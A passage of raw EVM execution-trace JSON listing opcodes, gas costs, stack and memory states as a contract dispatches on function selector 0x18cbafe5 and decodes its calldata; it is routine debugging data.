76,"op":"JUMPI","gas":124217,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1","0xfc"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":252,"op":"JUMPDEST","gas":124207,"gasCost":1,"depth":1,"stack":["0x18cbafe5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":253,"op":"DUP1","gas":124206,"gasCost":3,"depth":1,"stack":["0x18cbafe5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":254,"op":"PUSH4","gas":124203,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x18cbafe5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":259,"op":"EQ","gas":124200,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x18cbafe5","0x2751cec"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":260,"op":"PUSH2","gas":124197,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":263,"op":"JUMPI","gas":124194,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x0","0x171"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":264,"op":"DUP1","gas":124184,"gasCost":3,"depth":1,"stack":["0x18cbafe5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":265,"op":"PUSH4","gas":124181,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x18cbafe5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":270,"op":"EQ","gas":124178,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x18cbafe5","0xa9a2b72"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":271,"op":"PUSH2","gas":124175,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":274,"op":"JUMPI","gas":124172,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x0","0x1ab"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":275,"op":"DUP1","gas":124162,"gasCost":3,"depth":1,"stack":["0x18cbafe5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":276,"op":"PUSH4","gas":124159,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x18cbafe5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":281,"op":"EQ","gas":124156,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x18cbafe5","0x18cbafe5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":282,"op":"PUSH2","gas":124153,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":285,"op":"JUMPI","gas":124150,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1","0x1d9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":473,"op":"JUMPDEST","gas":124140,"gasCost":1,"depth":1,"stack":["0x18cbafe5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":474,"op":"CALLVALUE","gas":124139,"gasCost":2,"depth":1,"stack":["0x18cbafe5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":475,"op":"DUP1","gas":124137,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":476,"op":"ISZERO","gas":124134,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":477,"op":"PUSH2","gas":124131,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":480,"op":"JUMPI","gas":124128,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x0","0x1","0x1e5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":485,"op":"JUMPDEST","gas":124118,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":486,"op":"POP","gas":124117,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":487,"op":"PUSH2","gas":124115,"gasCost":3,"depth":1,"stack":["0x18cbafe5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":490,"op":"PUSH2","gas":124112,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":493,"op":"CALLDATASIZE","gas":124109,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":494,"op":"PUSH1","gas":124107,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":496,"op":"PUSH2","gas":124104,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":499,"op":"JUMP","gas":124101,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x3757"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14167,"op":"JUMPDEST","gas":124093,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14168,"op":"PUSH1","gas":124092,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14170,"op":"DUP1","gas":124089,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14171,"op":"PUSH1","gas":124086,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14173,"op":"DUP1","gas":124083,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14174,"op":"PUSH1","gas":124080,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x0","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14176,"op":"DUP1","gas":124077,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x0","0x0","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14177,"op":"PUSH1","gas":124074,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x0","0x0","0x0","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14179,"op":"DUP8","gas":124071,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x0","0x0","0x0","0x0","0x0","0x0","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14180,"op":"DUP10","gas":124068,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x0","0x0","0x0","0x0","0x0","0x0","0xa0","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14181,"op":"SUB","gas":124065,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x0","0x0","0x0","0x0","0x0","0x0","0xa0","0x4","0x104"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14182,"op":"SLT","gas":124062,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x0","0x0","0x0","0x0","0x0","0x0","0xa0","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14183,"op":"ISZERO","gas":124059,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x0","0x0","0x0","0x0","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14184,"op":"PUSH2","gas":124056,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x0","0x0","0x0","0x0","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14187,"op":"JUMPI","gas":124053,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x0","0x0","0x0","0x0","0x0","0x0","0x1","0x3770"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14192,"op":"JUMPDEST","gas":124043,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x0","0x0","0x0","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14193,"op":"DUP7","gas":124042,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x0","0x0","0x0","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14194,"op":"CALLDATALOAD","gas":124039,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x0","0x0","0x0","0x0","0x0","0x0","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14195,"op":"SWAP6","gas":124036,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x0","0x0","0x0","0x0","0x0","0x0","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14196,"op":"POP","gas":124033,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14197,"op":"PUSH1","gas":124031,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14199,"op":"DUP8","gas":124028,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14200,"op":"ADD","gas":124025,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0x20","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14201,"op":"CALLDATALOAD","gas":124022,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14202,"op":"SWAP5","gas":124019,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14203,"op":"POP","gas":124016,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14204,"op":"PUSH1","gas":124014,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14206,"op":"DUP8","gas":124011,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14207,"op":"ADD","gas":124008,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0x40","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14208,"op":"CALLDATALOAD","gas":124005,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14209,"op":"PUSH8","gas":124002,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14218,"op":"DUP2","gas":123999,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0xffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14219,"op":"GT","gas":123996,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0xffffffffffffffff","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14220,"op":"ISZERO","gas":123993,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14221,"op":"PUSH2","gas":123990,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14224,"op":"JUMPI","gas":123987,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x1","0x3795"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14229,"op":"JUMPDEST","gas":123977,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14230,"op":"PUSH2","gas":123976,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14233,"op":"DUP10","gas":123973,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14234,"op":"DUP3","gas":123970,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14235,"op":"DUP11","gas":123967,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14236,"op":"ADD","gas":123964,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa0","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14237,"op":"PUSH2","gas":123961,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14240,"op":"JUMP","gas":123958,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x370b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14091,"op":"JUMPDEST","gas":123950,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14092,"op":"PUSH1","gas":123949,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14094,"op":"DUP1","gas":123946,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14095,"op":"DUP4","gas":123943,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14096,"op":"PUSH1","gas":123940,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0","0x0","0x104"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14098,"op":"DUP5","gas":123937,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0","0x0","0x104","0x1f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14099,"op":"ADD","gas":123934,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0","0x0","0x104","0x1f","0xa4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14100,"op":"SLT","gas":123931,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0","0x0","0x104","0xc3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14101,"op":"PUSH2","gas":123928,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14104,"op":"JUMPI","gas":123925,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0","0x0","0x1","0x371d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14109,"op":"JUMPDEST","gas":123915,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14110,"op":"POP","gas":123914,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14111,"op":"DUP2","gas":123912,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14112,"op":"CALLDATALOAD","gas":123909,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x0","0x0","0x0","0x0","0xa0","0x37a1","0x104","0xa4","0x0","0